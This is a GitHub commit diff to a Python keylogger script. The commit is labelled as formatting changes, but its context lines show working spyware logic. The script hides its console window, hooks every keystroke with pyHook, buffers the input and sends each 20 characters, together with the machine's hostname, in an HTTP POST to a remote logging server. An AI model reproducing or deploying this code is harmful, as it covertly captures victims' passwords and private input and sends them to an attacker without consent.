Skip to content

Commit eb9d27d

Browse files
authored
changed some formatting
1 parent 63670e5 commit eb9d27d

File tree

1 file changed

+6
-7
lines changed

1 file changed

+6
-7
lines changed

keylogger.py

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99

1010
# Get the console windows and hiding it
11-
# so that app runs in the background
11+
# so the app runs in the background
1212
win=win32console.GetConsoleWindow()
1313
win32gui.ShowWindow(win,0)
1414

@@ -17,16 +17,17 @@
1717
wbuffer = ''
1818
hostname = platform.node()
1919

20+
#creating a payload and sending it to the server
2021
def postRequest(param):
2122
global hostname
2223
payload = {'word' : param, 'hostname' : hostname}
23-
r = requests.post('http://your_server_name.com/httplib/post/logger.php',data=payload)
24+
r = requests.post('http://your_server_name/logger/post.php',data=payload)
2425

2526
def OnKeyboardEvent(event):
2627
global flag
2728
global wbuffer
2829

29-
# logging is is stopped while pressing `` ( 2 times )
30+
# logging is is stopped when back quote (`) is pressed twice
3031
if event.Ascii == 96 :
3132
flag += 1
3233
if flag > 1:
@@ -36,15 +37,13 @@ def OnKeyboardEvent(event):
3637
sys.exit()
3738
if event.Ascii != 0 or 8:
3839
key = chr(event.Ascii)
39-
40-
#creating a payload and sending it to localhost
4140
wbuffer += key
42-
41+
42+
#Logs the data once the user has pressed 20 characters
4343
if len(wbuffer) == 20:
4444
postRequest(wbuffer)
4545
wbuffer = ''
4646

47-
4847
#creating a hook object
4948
hm = pyHook.HookManager()
5049

0 commit comments

Comments
 (0)